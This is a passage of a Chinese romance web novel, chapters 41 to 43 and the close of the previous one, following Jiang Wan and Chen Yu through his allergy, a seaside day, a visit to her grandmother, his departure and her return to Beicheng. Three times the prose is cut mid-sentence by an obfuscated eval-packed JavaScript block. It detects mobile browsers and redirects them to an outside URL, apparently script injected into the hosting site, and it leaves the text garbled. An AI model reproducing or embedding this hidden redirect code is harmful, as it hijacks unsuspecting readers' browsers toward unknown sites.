听到这个名字,陈屿的神情立马变了,比刚才精神不少:“应该是手机不小心调成静音了,没听到,我给她回个电话过去。” 说着,他起身就要去拿,被孟云程拦下:“不用,她后来打给我了,我告诉她你过敏了,她一会儿过来。” “来这里?”陈屿有点没反应过来。 “是啊,不然还能去哪儿。” 孟云程看出他有点紧张了,开口调侃道:“怎么,你不会是担心自己现在这个样子吓到她吧?” 知道他是在开玩笑,陈屿没搭理他这茬:“她什么时候到?” “不知道,应该会很快吧,电话里我听她声音感觉挺着急的,”孟云程接过他喝水的杯子,打算回房间,“我也只能帮你到这了,后面的就看你自己了。” 姜挽路上堵车,到的时候,孟云程已经收拾完准备走了,专门在酒店大堂等她,见她来,忙起身:“终于等到你了,你来了,我的任务才算正式完成。” 姜挽明白他的意思:“陈屿现在怎么样?” “你还是自己上去看吧,房间号是801,”周围有人经过,孟云程压低声音,故意营造出一种隐秘的氛围,“他这次过敏还挺严重的,腹痛还有起疹子,从昨晚一直折腾到现在,心情很郁闷。” 姜挽原本在来的路上已经做好心里建设了,一再告诫自己要不急不躁,可这会儿被孟云程这么一说,又忍不住开始着急:“那怎么办?医生怎么说?还需要去医院吗?” “医院倒是不用去了,外在的好医,遵照医嘱按时吃药就行,主要是心理。他这次过敏最严重的地方在脸上,几乎都毁容了。你知道的,陈屿那么一个在意外表的人,心里肯定早就崩溃了。” 他说话的时候,见姜挽一直盯着他,大气都不敢喘一下,孟云程继续造势:“而且在这个城市,我这一走,他就再没有熟人了,也就只认识你了。” 说到这,他故意停顿,姜挽忙开口问:“那需要我做些什么吗?” “其他的倒是也不用,主要是心理开导这一块可能需要你帮下忙,他有什么想法和要求都尽量顺着他,偶尔再逗他开心一下,不然他要是真发生点什么,到时候再后悔可就来不及了,你说对不对?” “嗯,”姜挽觉得他说的很有道理,“你放心吧,我这两天一定多安慰开导他。” “好,那这个艰巨的任务就交给你了,我相信你!” 孟云程离开后,姜挽又在大堂站了好一会儿,前前后后打了好几遍腹稿,确保自己的言语没有任何冒犯意思,不会对陈屿造成二次伤害后,才坐电梯上楼,来到陈屿的房间,敲响了房门。 “哪位?”屋内传来陈屿的声音,因为有了孟云程刚才的铺垫,让姜挽觉得此刻听到他的声音,都有一股悲伤的底色。 她放低音量,尽量显得温柔:“是我,姜挽,我来看看你,方便进去吗?” 屋内很快传来脚步声,然后是门锁被打开的声音,接着,姜挽便见到陈屿出现在她眼前,长袖长裤的打扮,果然精神看起来不怎么样。 “进来吧。” 姜挽忍不住往他脸上看了一眼,发现他脸上确实有红疹,但并不像孟云程说的毁容的程度,一瞬间心里没那么紧张了。 可转念又一想,就像孟云程说的,陈屿那么一个在乎外表的人,可能现在这种程度,对他而言就已经相当于是毁容了。而且这么热的天,他还穿着长袖长裤,不就是为了遮挡身上的疹子吗? 想到这,她心里一下又担心起来,但也不好直接表现出来,担心会刺激到他。 进了屋,陈屿先给她倒水,又去冰箱里翻找,酒店提供的甜点里,有一款蛋糕孟云程说味道很不错。 他找出来,和水杯一起递给她:“随便坐。” “谢谢。”姜挽接过,没怎么看,她这会儿所有的心思都在他身上,想问,却又担心说出来的话会刺激到他,所以一直没开口。犹豫着,犹豫着,就被陈屿抢了先。 “你今天不用去工作?” “今天不用,我和老板请了假。” 陈屿听完,若有所思,但也没再继续开口。 可能是因为心理暗示,这会儿姜挽看着他靠在床头的身影都觉得心酸:“你感觉怎么样?” “好多了。” 气氛还行,见他好像并没有很抵触,姜挽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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哪知,陈屿对孟云程的了解,可比她要多得多:“他没和你说我十分在乎外表,会因为这些心情郁闷,甚至到了要活不下去的地步?” “没有。”其实是说了的,但姜挽此刻认为她不能出卖孟云程,且看陈屿的状态,确实是有那么点“心情郁闷”的症状呢。 事情绝对不能朝着这个方向发展,且她今天过来,就是为了安慰开导他的。 “算了,我们先不聊这个了,”姜挽的话题转得非常生硬,“你今天有想去的地方吗?我可以带你去,就当散散心。” “没有,医生建议我多休息。”陈屿不是不想,是实在走不动。 “好的,生病了是该多休息。” 正当姜挽绞尽脑汁地想其他方式时,陈屿却突然再次开口:“不过明天可以,后天也可以。” “姜挽,”他突然叫她,像是临时起意,又仿佛蓄谋已久,“不如这样,我反正也还要在江城待几天,这几天时间,你来给我当导游吧。如此,既不影响你的工作,我也有人带,怎么样?” 41. 第 41 章 次日,姜挽背着包,在她家附近的公交站等陈屿。昨天陈屿提的那个建议,她后来同意了。 就像陈屿说的,反正他还要在江城待两天,而她也不放心他一个人,何不就干脆带着他逛,这样不仅他没有负担,她也能做兼职。 两全其美的方案,她还没有执拗到非要拒绝的地步。 至于承诺什么的,她已经打破了,既然如此,就让她再任性一回吧。在这有限的时间里,让她和他一起做一场梦,一场能抵她以后漫漫岁月,回想起来不会觉得遗憾的梦。 其实,针对今天要去的地方,姜挽昨天给他提供了好几个选择,市区,郊区,甚至还有江城附近的城市,可都被他拒绝了。他不是说去过了,就是嫌太远,偏偏对姜挽现在住的地方很感兴趣。 一听说她和奶奶现在住的地方在农村,且离海边近,陈屿就更是一发不可收拾,硬说自己想体验乡村生活,甚至连去酒店接他的环节都省了,坚持要自己坐公交过来,体验当地生活。 早上九点半,姜挽准时在公交站等到了陈屿,见他一身黑色套装的酷帅打扮,硬生生从一堆打扮质朴,皮肤黝黑的当地村民里挤出来,那场面,真是怎么看,怎么格格不入。 离近了,姜挽注意到他脸上的红疹好多了,但为了避免被晒伤,今天还是戴了帽子,这是她昨天交代他的。 “一路过来怎么样?还顺利吗?” 陈屿一边整理衣服,一边拍打刚才不知被谁踩了好几脚的鞋,压着脾气:“不错,挺顺利的。” 嘴上说着很顺利,可手上拍打的动作却是一点也不轻松,姜挽没见过他这个样子,有点忍俊不禁:“没事,你要是觉得不舒服,临时想更换地方,也是可以的。反正现在时间还早,也没有其他人,全部行程都可以按照你的意愿。” 最后两下,陈屿拍得格外重:“不换,我今天主要就是来体验生活,感受当地特色的。” “那行,那我们走吧。” 第一站,先去赶海。之所以把时间选在上午,是因为上午的阳光不是很充足,也不会很晒,而且沿途还可以看到很多美景。 这里不像城南岛那么出名,所以人很少。人少,也就意味着安静。橙红的太阳挂在天边,照得海水有一股波光粼粼的翠色。海风一吹,浮光跃金,宛如一幅画卷。 姜挽走在前面,陈屿则是习惯性地在后面拿着相机各种拍,她一回头,眉眼处落着阳光,衬得眼睛大而明亮,像盛着整片海,陈屿几乎看呆了,趁她不注意,快速拍了一张。 “赶过海吗?”姜挽问。 “没有。”陈屿答。 “那我教你?” “好。” 他们没带专门的赶海工具,姜挽去旁边扯了两根树枝,做了个简易的。好在袋子是有的,一会儿要是运气好,能遇上好东西,也有地方可以放。 “这个给你,”姜挽把一根品相更好的树枝递给陈屿,主要是末端有个类似三角的形状,“要是遇到螃蟹了,你就这样按下去,”边说,她边演示给他看,“然后你再叫我,我马上就过来抓。” 陈屿有点怀疑:“这,能行吗?” “能行,你相信我,小时候没有工具我都是这样抓的,有时候还直接上手,你放心吧。” “好吧。”他虽不理解,但还是选择尊重。 其实带他来赶海,姜挽也有自己的私心,这片海域,她小时候经常来,承载了太多她美好的回忆,忍不住就想借着这个机会和他分享。 就这两天吧,她暗暗在心里给自己定期限,在他回北城之前,就让她再任性一次吧。 海边多礁石,常年经过海水的冲刷,表面十分光滑,所以走起路来要格外小心。也正是因为这海水冲刷的原因,经常会有一些“可爱的小生物”躲在下面。 照着多年的经验,姜挽带着陈屿边走边翻,可不知是因为他们运气不好,还是这片已经被其他人翻过来,一条路走完,也只捡到了几颗海螺,还是那种个头很小的猫眼螺。 没捡到东西,姜挽有些懊恼,还带着点尴尬,毕竟刚才她海口都夸下去了,正打算不服输地再来一遍,突然发现陈屿脚边的那颗岩石下有东西在动,定睛一看,原来是一只梭子蟹。 这可是他们今天遇到的第一只,姜挽简直心花怒放,连忙朝着陈屿打手势:“你先别动,你脚边有螃蟹,你一动它就跑了!” “哪儿呢?”陈屿根本没看到,且不说他根本没见过这里的螃蟹长什么样,就算见过,在当前这种水流混浊,礁石乱七八糟的情况下,他也不一定能认出来。 但忍不住好奇,悄悄抬了下脚,想换个姿势看看螃蟹到底在哪儿。可螃蟹可比他机灵多了,就是这一个动作便惊动了它,迅速蹬着腿往水里钻。 “哎呀,它要跑了!”见它要跑,姜挽立马拿树枝去按,可无奈螃蟹动作太快,又因为着急,两三下不仅没按住,反而脚下一滑,身体瞬间失去平衡…… 眼见着就要跌落水中,危机时刻,背后一双手把她揽进怀里,是陈屿。可惯性太大,又是在这种岩石上,陈屿接住她不过一秒,两人很快便再次跌入水面,只是他在下,她在上,陈屿几乎是用整个身体护住了她。 刹那间,水花四溅,衣服湿了大半,就连脸上都溅了不少水。 姜挽一时间有些没反应过来,还惦记着刚才的那只螃蟹,情急之下,她脱口而出:“都怪你,刚才叫你不要动了,你还是动,不然螃蟹也不会跑。” 吆喝,咋呼,埋怨,她这个样子,基本是完全在和陈屿甩脸子了,和北城时的那个她,完全不一样。 可陈屿心里却柔软得一塌糊涂,一手托着她,另一只手拂开她那被海水打湿,粘在脸上的头发,完全没反驳:“是,怪我,我不该动,我给你道歉。” 他这样,姜挽倒是一瞬间醒了神,意识到自己的骄横,也意识到了他还是个病人:“抱歉,我不是这个意思。” 说着,她就要挣扎着起来,动作太大,陈屿有点撑不住:“你先别动,先等我起来,不然一不小心衣服还得湿。” 姜挽垂下眼睛,没说话了。刚才着急的时候没注意到,这会儿冷静下来才发现,她几乎整个人都在他怀里,身上大部分的重量,也都是靠他的胳膊撑着。 两人离得如此近,肌肤相贴,体温相感,这次就算陈屿不说,她也不敢再动了。 很快,陈屿就从水里站起来,并把她也扶起来站在旁边的岩石上。 “衣服湿了。”姜挽说。 “没事,只有裤子。”陈屿看着她。 “我说的是你。” 陈屿这才朝自己身上看,因为他在下面,又为了撑住她,所以从裤子到上衣,基本大半身全湿了:“不碍事。” 他还惦记着刚才跑掉的那只螃蟹,坚持要给姜挽再抓一只:“既然刚才能看到螃蟹,就说明这里还是能抓到的,我们再看看。” 于是,在他的带领下,两人又沿着海岸线来来回回走了好几遍,可结果仍然是一无所获,只捡到了一根算不上大的海带。 湿湿的衣服黏在身上,再看着袋子里仅有的几颗螺,两人对视看着,刚开始还挺苦恼的,可没想到看着看着竟然不约而同地苦笑了起来。 看来今天是真的不适合赶海。 “你身上的衣服难受吗?”姜挽问。 “挺难受的。”陈屿没瞒她。 姜挽想了想:“你现在回酒店换的话太远了,要不回我家吧,我家离得近,回去让我奶奶帮你找找看有没有合适的,先换上。” 陈屿垂下眼睛看她,那眼底的目光说不清道不明,诧异,惊喜,甚至还带着几分紧张。 姜挽以为他是不愿意,忙开口:“当然,前提只你不嫌弃,你要是觉得不合适……” “合适,我没觉得不合适,”似乎怕她改变主意,陈屿当即抢白,“只是我今天没什么准备,就这样空手去的话,会不会不太好?要不要买点东西?这附近有超市吗?最好是那种卖人参燕窝的。” 姜挽没明白他的意思,疑惑地看向他。 陈屿还沉浸在自己的世界里:“没有吗?那保健品也行,再不济,牛奶和水果也是要的吧? 到这,姜挽才算理解他的意思,只觉得他这礼节想得也太周到了:“不用麻烦,什么都不用准备,我奶奶人很好的,就当是同学吃饭,她不会介意的。” “可是……” “没什么可是的,你再犹豫,一会儿身上的衣服该更难受了。” 到了家,姜奶奶正在忙,见姜挽带了人回来,虽然有些惊讶,但很热情。又听说陈屿是从北城来这里旅游的,而且还是姜挽的同学后,就更挪不开眼了,就想着和他多聊两句,了解了解北城,也多知道点自己孙女在那边生活的情况。 陈屿也和她很投缘,过来的路上,姜挽大概给他介绍了下她奶奶的情况,她爷爷很早就去世了,奶奶目前是一个人生活。 丈夫,儿子都去世了,如今孙女还不在自己身边,陈屿原本还担心老人家会有什么心理创伤,可这么一聊才发现,竟是一位如此乐观热情的老人。 见他们二人聊得投缘,姜挽也不好打断,可她身上的衣服实在难受,瞥一眼陈屿的,比她更湿,应该比她更难受。 “奶奶,”她过去挽姜奶奶的胳膊,“我俩刚才在海边不小心把衣服弄湿了,您能帮忙找一件衣服给他穿吗?” 她这一说,姜奶奶才注意到,上下打量了下陈屿的身高:“小陈,你多高呀?” “奶奶,我185。” 听他开口,姜挽抬头去看,以前只觉得他高,不知道具体数字。这么一算,185和168,高了快20厘米,难怪站在一起的时候,她经常会觉得有身高压力。 “185,”姜奶奶重复,有点犯难,“有倒是有,我前段时间刚买了一套,打算干活的时候穿,还是新的,没穿过,就是样式和料子……。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448287|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她这么一说,姜挽便明白了,农村人经常干活,买衣服一般也都是挑宽松的买,而且男女款也分的没那么清楚,都能穿。只是这样式和布料可就没那么好了。 想想陈屿平时的吃穿用度,姜挽虽不认识牌子,但也能看出来那都是些贵衣服,她也拿不准,转向陈屿:“要不还是算了吧,我带你回酒店换吧。” “为什么?”陈屿一脸疑惑,好不容易来的,他不想回酒店,“是奶奶有什么不方便的地方吗?” “不是,”姜挽和他解释,“我奶奶说的衣服你可能没见过,款式和料子都不太好,你平时那么在意这些,我怕你穿不习惯。” 陈屿觉得冤枉:“我什么时候在意这些了?” 姜挽看着他,犹豫了会儿,还是开口:“难道没有吗?” 陈屿无奈,觉得她对自己有误解,转而面向姜奶奶:“奶奶,您别听她说,这里面有误会,我没那么多事儿。您愿意借给我,我就已经很感激了,哪里还有介意的道理。” 他这么说,姜奶奶松一口气:“行,那你在这等着,我去拿。” 衣服拿来,果然如姜奶奶所说,款式老旧,布料也差,像是市场上最低档次的那种粗麻布。 可陈屿却什么都没说,刚拿到手,便立马表示要去换。说来也怪,本来没有任何样式和版型的粗衫麻布,到了他身上,就立马显得不一样了。 虽说衣服的布料变不了,手脚处也有些短,可版型却意外得出彩,莫名透出一股简约随性风。 难道,这就是传说中的衣架子? 连姜奶奶也不得不感叹:“小陈穿上这个衣服别提多帅了,比我们村那些年轻人穿上都要好看。” 陈屿倒是不骄不躁的:“是您眼光好,一样的衣服,您选的就是比他们的好看。” 这句话,可把姜奶奶哄得高兴,当即便说要去做饭,让他们在这里吃午饭。 本来也就到饭点了,姜挽也没推脱,问过陈屿的意见后,便同意了。只不过,她顺嘴叮嘱了一句:“对了,奶奶,他对花生过敏,不能吃花生。” 陈屿一愣,没想到她记得这么清楚,而且还会专门提出来。 姜挽要去厨房帮忙,陈屿也想去,但厨房太小,容不下这么多人,而且他是客,所以姜挽拒绝了。 但陈屿再三要求,她也没办法,于是四周看了看,指了指不远处的那堆木柴:“要不这样,要是你有时间的话,帮忙劈点柴吧,一会儿可能用得上。” “好。” 一小时后,饭已经做好了,姜挽过来叫陈屿,看见眼前的场景,她被吓了一跳。这么点时间,原本堆在一起的木桩,已经被陈屿劈得差不多了,成品竟堆得有半人高。 “不是吧,这也太夸张了!” 听见声音,陈屿回过头,额角微微淌着汗,衣袖挽起,露出结实的小臂:“怎么了,是不是我弄错了?” “不是,我是说,你……你太有天赋了,”姜挽好奇,“你以前劈过柴吗?” “没有,这是第一次。” “第一次就劈这么好?” “开始前,我在网上搜了一下教程。” “好吧。”姜挽感叹,果然,聪明的人学什么都快。 “你看看这些够吗?要是不够的话,我一会儿再劈点。” “够了,够了。”简直就是太多了,要是让她奶奶知道,她安排陈屿劈了这么久的柴,还不得批评她啊。 她卸下他手里的斧子,放在地上:“走,先去吃饭。” 午饭还是当地的特色菜,少不了的海鲜和那道最出名的椰子鸡,基本算是他们这里待客的最高规格了,当然还有他们上午从海边捡回来的那根海带,和排骨一起,炖了一锅海带排骨汤。 期间,姜奶奶吃的不多,一直给他和姜挽夹菜,在得知陈屿马上就要回北城之后,还觉得很可惜,一再强调以后有机会要再来玩。 陈屿明白,他和姜奶奶萍水相逢,素昧平生,她能这么照顾他,除了因为她本身就是一个很好的人之外,还有很大一部分原因,是因为她在向他释放善意。 她在用她的方式,释放她最大的善意,而目的,无非就是希望陈屿在北城时能多照顾姜挽一点。 这是一个老人家,最朴实,也是最深层的心愿。 而这些,就算她不说,陈屿也会做的。 小锅煮着,烟气升着,在这缭绕的情谊里,陈屿轻轻开口:“您放心,在北城,我一定尽力照顾姜挽。” 这话,乍听起来没毛病,姜奶奶也很高兴,可听在姜挽的耳朵里,就是另一种感觉了。 他们现在的这段时光,本来就是镜花水月,梦幻泡影,是没办法长久的。 她清楚地知道,一回到北城,一切就都会变。所以,现在越美好,以后只会越痛苦。 她垂下眼睫,喝一口热热的排骨汤,眼睛和鼻腔被着热气熏的湿润,或许,也可能是其他的原因吧。 42. 第 42 章 后两天,姜挽又带着陈屿在江城逛了逛,不过都是些人少僻静的郊区,他过敏好得差不多了,也是时候该回去了。 陈屿离开的那天,姜挽送他到机场,像以往送别任何一位旅客一样,她向他表达了感谢,感谢他在这几天的支持和配合,也祝他一路平安,旅途愉快。 陈屿当然听得出来这是官方的客套话,他其实有很多话想和她说,想问她,这几天和他在一起,除了工作之外,有没有一点是发自内心的呢? 想问她,和他在一起的这几天,觉得开心吗? 还想问,是不是回北城之后,一切就都要变了,他不能再和她说话,两人又要回到那个冷冰冰的状态? 可千言万语汇成所有,到最后也只有一句感谢,和“北城见”。 广播里开始播报航班登机的消息,姜挽催促他:“开始登机了,快去吧。” 陈屿点头,许是离别加重了他不安的情绪,也可能是知道这一趟回去后,两人可能就不会再有现在这么亲近的画面了,所以,他总想抓住点什么,来缓解内心的慌张,来纪念这一段时间。 视线瞥见她背包上挂着的那个白色小猫玩偶,陈屿指了指,开口:“这个能不能送给我留作纪念?” 顺着他指的方向,姜挽去看,是她之前有一次逛街时在店里买的,当时她一眼就看中,觉得和小酒有点像。 将玩偶从背包上取下来,她递给他:“当然可以,这个本来也是旅行社发的,就是送给游客的小礼物。” 陈屿将玩偶装进口袋里,嘈杂的人群中,他只看得见她,对上她大而明亮的眼睛,发现里面有灯光,水光,还有他的倒影。 有些话,他真是控制不住,仿佛下一秒就要从喉咙里蹦出来。可这些话不能说,说了只会让她为难,让两人尴尬。正是因为知道如此,陈屿才不能说,而是选择做一些事。 长臂一伸,他轻轻将姜挽揽入怀里,说是揽,也不过是胳膊轻轻搭着,距离拉近了些,身体并没有接触。 姜挽完全没想到会这样,一瞬间愣住了,呆呆地站在原地,连呼吸仿佛都停止了。 轻轻的,耳边像是有气息划过,热热的,接着是一个略显哀伤的声音:“别怕,只是个告别,照顾好自己,再见。” 说完这句,陈屿便放开了她,推着行李,大步流星地离开了,自始至终,连头都没有回过一次。 看着他的背影,刚才那熟悉的气息似乎还萦绕在耳边,姜挽咽下情绪,小声开口:“再见。” 上了飞机,陈屿将玩偶从口袋里拿出来,小心翼翼地挂在自己的背包上,然后戴上耳机,一路睡回了北城。 来机场接机的是孟云程,一见面,便追着问他和姜挽这几天的发展情况如何,有没有突飞猛进,取得什么实质性的进展。 陈屿本来对这些事就没什么头绪,被他这么一提起,就更郁闷了:“恐怕要让你失望了。” 孟云程一听,果然当场开始数落他:“我说你到底行不行啊,连过敏这种理由都用上了,生命安全都置之度外了,还是不行?要我说啊,她可能压根就不喜欢你,要不还是算了吧,咱换个人,不受这罪了。” 这话陈屿可不爱听,一记冷眼扫过来,孟云程也知道自己出格了,忙又岔开话题:“这几天你都不知道我有多辛苦,既要瞒着我父母,还得瞒着你父母,我可是两边做工作,才把你这事瞒下来的。” 陈屿知道他的意思,这会儿两人已经来到停车场了,把行李放进去,他们同时坐进后排:“说吧,你想去哪里吃饭。” “嘿嘿,还是你了解我。”孟云程没和他说,而是直接和前排的司机报了一个地名。 车子在高架桥上行驶,透过车窗,望向窗外的风景,陈屿觉得感慨,又回到这里了,一个没有她的城市。 突然,身旁的孟云程再次开口:“对了,你过敏怎么样了?” 陈屿一愣,老实讲,这几天他根本没关注:“已经好了。” “那就好,”孟云程还想再说些什么,眼神注意到他挂在包上的那个小猫玩偶,觉得新奇,拿手颠了颠,“这是什么?” 陈屿立马将玩偶收起来,像是对待什么宝贝东西似的,不让他再碰:“没什么,旅行社送的小玩意。” “小玩意就小玩意,这么在意干嘛,难道是……” 陈屿垂着眼,不说话,孟云程看他也怪可怜的,叹一口气:“好吧,好吧,我不问了。” —— 陈屿离开后,姜挽的生活又恢复了以往的平静,每天除了兼职,陪奶奶,就是和沈曼通话,汇报她这一天的情况。 除了带游客时经常会想到陈屿,去一些地方,也会回想起和他之前在这里的回忆外,其他都算还好。 发工资那日,姜挽注意到拿到手的工资比一开始老板和她说的多了不少,她觉得疑惑,便给老板打了电话去询问。 老板告诉她,是奖励她出色工作的,有游客不仅在旅游期间对她的工作进行夸奖,还在结束后,特意给他们旅行社打了感谢电话,这些多出来的工资是按照公司的规定,是给她的奖金,是她应得的。 姜挽觉得惊讶,导游收到夸奖很正常,可这种离开了还专门打电话的,就很少了。 她想知道是哪位游客,可当她继续询问时,老板却不肯再透露,只说对方要求匿名,既然如此,姜挽也就没再问。 只是偶尔夜深人静的时候,她还是会想,那个人会是陈屿吗?她希望是他。 至少这样看来,他在江城的这段时间,过的也是开心的。 时间过得快,转眼间姜挽回江城已经二十天有余,眼见着临近除夕,沈曼便在电话那头催她回北城。 姜挽其实不想回,一来是因为她这段时间刚缓过来点,有点害怕再回到北城那种压抑的环境。二来,她也想陪奶奶过完这个年再走。 于是,她便和沈曼商量,沈曼一开始是不同意的,后来许是考虑到她这段时间表现不错,才有些松动。但最后促使她下定决心同意的,是姜挽必须答应她一个条件,回北城以后,姜挽必须什么事情都听她的。 姜挽想都没想便答应了,她其实无所谓的。反正在陈屿那件事上她都没有选择权,其他的就更不在乎了。 除夕当天,姜奶奶一早便起床忙碌,大扫除,贴对联,还有准备年夜饭,今年因为姜挽能留下来,她格外高兴,从早起,那笑声就没停过。 姜挽也高兴,陪着她收拾,两人从天亮忙到天黑,欢欢喜喜地吃完团圆饭后,又在客厅看着春晚守岁。 姜奶奶年纪大了,刚到十点便坚持不住,于是先去睡了。反倒是姜挽,平时容易困,今天却精气神十足。许是因为眼前的幸福太难得, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448288|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她也不知道以后还会不会有这样的机会,所以才会格外珍惜。 电视里的节目其实并没多好看,看的就是一个气氛。正演到一个魔术环节,姜挽跟着紧张,旁边的手机突然响,而且还是那种一连好几个的微信提示音。 姜挽觉得纳闷,她朋友不多,尤伽和沈曼那边她也提前打过招呼了,所以一时还真有点想不起来谁会给她发微信了。 可手机还在响,她去厨房洗了手,回来打开之后,这才发现,是她们的那个四人群。之前尤伽建的,除她俩外,还有陈屿和孟云程。这会儿尤伽和孟云程正在群里吆喝,让大家赶紧出来嗨。 姜挽看着他俩来回的微信,一会儿一张年夜饭,一会儿又是一个表情包的,气氛别提多欢乐了。倒是她和陈屿,谁都没开口。 又过了一会儿,果然尤伽和孟云程也注意到了,于是便在群里@他们,让他俩出来发言。 姜挽先发了一个“新年快乐”的表情包,紧接着又发了一张烟花的照片,是刚才她拍的,角度不错,光影也很好。 她刚发完消息,陈屿便立马也冒了出来,但他没有像他们一样发一堆照片和表情包,而是直接甩了一个红包出来,利落又霸气。 群里立马掀起一个高潮,尤伽和孟云程边抢红包,边不停发着表情包喝彩。姜挽没抢,她本想在这热烈的氛围中悄悄隐身的,没想到,还是被尤伽揪出来了。 【呦呦,你快抢红包啊,沾沾喜气。】 孟云程也跟着:【是啊,快抢,抢了让陈屿再发,他家亲戚多,今天还不知道又拿了多少压岁钱呢。】 姜挽是不想抢的,可在这个节日,她更不想扫了大家的兴,于是还是点开了红包。 尤伽那边也能看到金额:【哇塞,360,呦呦你手气这么好,今年一定能发财!】 姜挽也没想到竟然是这么大的数额,她原本还以为一个红包的限额200,三个人抢的话,再怎么着应该可不会很多,可现在看来,微信系统应该也是紧跟节日,把今天的红包限额调高了。 她刚想说点什么,没想到群里接二连三的又来了好几个红包,都是陈屿发的,陈屿什么话都不说,就是一个劲地闷头发。 连孟云程也忍不住怀疑:【你小子不会喝醉了吧?】 【没有。】陈屿回的很快。 【那就是今天压岁钱领得太多了,】孟云程给他发了一排大拇指,【就喜欢你这样的朋友。】 当然,他和尤伽领了红包后偶尔也会发两个,但还是和陈屿发的不能比。姜挽看着他们的对话,偶尔会接一两句,但红包,她没再抢。 消息很多,几乎到了刷屏的程度,在这眼花缭乱中,她突然收到了一条陈屿单独发过来的消息,是刚才她发的那张烟花照片,他转发过来了。 【烟花很漂亮。】 【新年快乐。】 他说。 这是陈屿回北城后,她和他的第一次聊天。和刚才在群里的感觉完全不一样,没了尤伽和孟云程插科打诨,气氛瞬间就不一样了。 姜挽其实也有好多话和他说,想问他今天过得怎么样,也想知道之前那个感谢电话到底是不是他打的,可她还是忍住了,既然是没办法改变的事情,就不应该再去招惹人家。 【新年快乐。】她回,而后把手机锁了屏,放在一旁,没再看。 43. 第 43 章 尽管不愿意,可回北城的那一天还是很快来临。离开前,奶奶给姜挽装了满满几大包特产,她觉得太多了,想留下来些。奶奶却坚持,和她解释说,等到了北城,给她舅舅舅妈带一份,再给同学分一分,基本也就没有了。 姜挽知道她舅舅和舅妈是不会要的,可也没现场和奶奶说,怕她老人家担心。 “嗯,我知道了,我会带给他们的,您快回去吧。” “不急,我看着你进去了再走。” 姜挽知道她奶奶的性格,所以也就没再坚持:“好,那我进去了,到了和您说。” “快进去吧,”姜奶奶红着眼眶,和她叮嘱,“在北城要听妈妈的话,好好学习。” “我知道,您放心吧,”姜挽也想哭,但她忍住了,“您多注意身体,我有时间就回来看您。” “别担心我,快走吧。” 人群拥挤,姜挽随着人流走,渐渐的,奶奶的身影变得模糊,到后来成为一个小黑点,再到最后完全看不见了。 到了北城,沈曼在车站等她,见面第一句话就是问功课,担心她兼职影响学业,也害怕她回老家就放松了警惕。 “没有,作业我都做完了,预习也做了,你放心吧。”姜挽搬着行李箱,和她一起上公交车,这些都是她兼职之余抽空完成的。 沈曼一听,这才放松下来,过来帮她一起提箱子,却发现非常重:“箱子里都装了什么,这么重,我记得回去的时候没有这么重呀?” “奶奶帮忙准备的特产,让我给舅舅和舅妈一份,其他的分给同学。” 听到是这些,沈曼的表情有些不自然:“舅舅舅妈就不用了,他们过年也囤了不少东西,冰箱放不下。至于同学,就更没必要了,你这从江城带来的,他们肯定也吃不惯。这些,还是留着自己吃吧。” 这不是根本原因,姜挽知道,可她也没追问,默默点了点头,应承了下来。 回到家,她舅舅舅妈和外婆都不在,听说是一起出去旅游了。沈曼进厨房围上围裙,问她晚上想吃什么。 姜挽正在整理箱子,顺手拿起奶奶给她带的特产:“这个文昌鸡可以吗,奶奶已经做好了,加热一下就能吃。” 闻言,沈曼皱眉,她像是很抗拒,但又不想表现得太明显,匆匆一瞥,迅速扭头:“这东西吃了这么多天还没腻吗,今天不吃了,我给你做点新鲜的。” 被拒绝,姜挽也有点尴尬,但转念一想,是她处理不当了。她妈妈本来就不喜欢江城,以前在她面前连名字都不能提,这次同意她回去,也是她求了好久才有的结果。可同意她回去,并不代表着她就能接受这个地方了。 姜挽回过头,垂眸继续收拾东西:“好的,那你做,什么都可以,我马上收拾完就过去帮忙。” 沈曼做的是北城菜,两菜一汤,看得出也是花了心思的。姜挽提前把碗筷摆好,又拿出她寒假挣的工资,等沈曼从厨房出来,递给她:“妈妈,这是我这个假期挣的钱,除掉车票和吃饭的钱,剩余全部在这了。” 沈曼愣了下,没接。 姜挽继续开口:“这钱你收起来,下学期学费和生活费不够的话,就用这些补上。” 沈曼不想要,她虽称不上是一个十分合格的好妈妈,可也是一门心思为了姜挽好。只是心里装了太多事,有时候情绪上来,所言所语,连她自己都控制不了。 “我不要,你自己留着,买点自己喜欢的东西,学费和生活费我会安排好。” 姜挽也很坚持:“妈妈,我知道我们现在是什么情况,我也想替你分担。” 什么情况,捉襟见肘,寄人篱下的情况。 沈曼也知道,姜挽其实说的是有道理的。她如今干着一份工资不高的会计工作,满足两人日常生活尚且吃力,就更别说还要为以后姜挽上大学存钱了。 僵持了会儿,沈曼最终还是伸手接过钱,随即迅速转身,可颤抖的声音还是暴露了她此刻的情绪:“好,那我先帮你收着。” 姜挽终于松了一口气:“好。” 因着这个插曲,她们前半段吃饭的氛围很好,本来两人也长时间未见,所以家长里短的话题聊起来,气氛倒是还算融洽。 